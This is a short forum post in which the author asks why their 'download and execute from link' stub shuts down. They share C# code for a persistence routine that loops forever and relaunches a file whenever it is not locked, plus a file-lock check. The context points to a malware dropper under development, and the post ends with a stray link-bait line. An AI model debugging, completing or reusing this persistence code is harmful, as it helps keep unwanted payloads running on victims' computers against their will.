Hey, I currently have a while loop running in my application (download and execute from link) and it seems that my stub shuts itself down even though I have a while loop running and have not instructed it to close.
Code
public static void Persistance(FileInfo file) {
while(true) {
if(!IsFileinUse(file)) {
StartFile(file.FullName);
}
}
}Code
if(persistance) {
IsFileinUse(file);
}Code
public static bool IsFileinUse(FileInfo file)
{
FileStream stream = null;
try
{
stream = file.Open(FileMode.Open, FileAccess.ReadWrite, FileShare.None);
}
catch (IOException)
{
return true;
}
finally
{
if (stream != null)
stream.Close();
}
return false;
}
You should click here.

